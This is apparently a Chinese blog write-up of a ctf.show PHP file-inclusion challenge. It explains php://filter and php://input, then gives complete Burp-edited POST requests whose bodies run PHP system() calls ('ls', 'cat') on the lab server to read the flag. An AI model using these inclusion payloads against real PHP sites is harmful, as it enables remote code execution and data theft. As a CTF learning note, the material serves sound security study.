• 文件包含漏洞


    最近做ctf题目总是被虐的死去活来

    关于php文件包含漏洞的题目:


     

     

    参考资料:https://blog.csdn.net/qq_42181428/article/details/87090539

    常见文件包含函数

    php中常见的文件包含函数有以下四种:

    include()
    require()
    include_once()
    require()_once()
    

     

    include与require基本是相同的,除了错误处理方面:

    include(),只生成警告(E_WARNING),并且脚本会继续
    require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
    include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上

     


     

     

    PHP伪协议

    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
    一、php://input

    php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

    二、php:filter

    php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

     

    过程


     

    1.先看看网页的源码,说不定flag就藏在里面

    使用php:filter伪协议,查看base64编码以后的源码:

    返回内容:

    拿去解码得到源码:

    <?php
    error_reporting(0);
    $url=$_GET['url'];
    if(isset($url)){
        include($url);
    }
        
    ?>
    <html lang="zh-CN">
    
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
        <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
        <title>ctf.show_web3</title>
    </head>
    <body>
        <center>
        <h2>ctf.show_web3</h2>
        <hr>
        <h3>
        <?php
                
                $code="<?php include($"."_GET['url']);?>";
                highlight_string($code);
        ?>
        </center>
    
    </body>
    </html>

    代码审计一下,没有发现什么有用的参数,flag也不存在


     

     

    2.使用php:input伪协议

    input伪协议可以配合post提交参数,php会将post参数当成文件执行

     

    自己想也没想打开了hackbar想直接post参数,结果没法post

    去问了其他师傅回答要用burp来做这道题,原因:

    网页本身是get的,无法直接进行post

    那么就用burp改包

    这里我又犯了一个错误,因为网页本身没有index.php后缀,所以我改包的时候就没有加:

    正确方法:(需要post的内容直接用php语言写进包里)

    POST /index.php?url=php://input HTTP/1.1
    Host: 124.156.121.112:28001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    <?php system("ls");?>

    这里让系统执行ls命令,显示目录下的文件

    目录下面有一个文件ctf_go_go_go,猜测flag就在文件里面

    继续抓包改包:

    POST /index.php?url=php://input HTTP/1.1
    Host: 124.156.121.112:28001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    <?php system("cat ctf_go_go_go");?>

    执行cat命令,最后就能看见flag了

    [Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你
  • 相关阅读:
    「干货分享」我所在团队的竞品分析模板--附下载
    框架用多了真的会死人的,spring-cloud全家桶与mybitais 集成完整示例(附下载)
    聊聊区块链,虽然我不挖矿!
    从厕所排队引发的产品设计方案思考
    基于spring-boot和docker-java实现对docker容器的动态管理和监控[附完整源码下载]
    Spring-boot原理(附带实现一个spring-boot-starter实例和代码下载)
    Zookeeper+websocket实现对分布式服务器的实时监控(附源码下载)
    「干货分享」模块化编程和maven配置实践一则
    【干货分享】大话团队的GIT分支策略进化史
    项目协作管理平台-teambition和tapd--深度体验
  • 原文地址:https://www.cnblogs.com/echoDetected/p/12305178.html
Copyright © 2020-2023  润新知